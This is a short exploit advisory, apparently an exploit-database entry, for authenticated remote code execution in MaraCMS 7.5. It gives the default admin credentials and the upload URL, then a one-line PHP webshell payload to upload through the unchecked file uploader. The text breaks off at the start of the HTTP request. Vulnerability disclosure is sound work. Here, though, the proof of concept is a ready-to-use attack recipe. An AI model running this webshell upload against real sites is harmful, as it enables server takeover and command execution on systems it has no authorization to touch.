# CVE: N/A


# Description


MaraCMS 7.5 is vulnerable to Authenticated Remote Code Execution.
In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS as 'admin' or 'manager'.
The file uploader fails to check extensions of files uploaded by the user, so it is possible to upload a webshell and get RCE.


# PoC


1. Login on MaraCMS. Default credentials are:
      Username: admin
      Password: changeme


2. Navigate the file upload functionality (http://target/codebase/dir.php?type=filenew) and upload a file called 'webshell.php' with content '<?php system($_GET["cmd"]); ?>'.
    A request similar to the following will be made:


        POST /codebase/handler.php HTTP/1.1
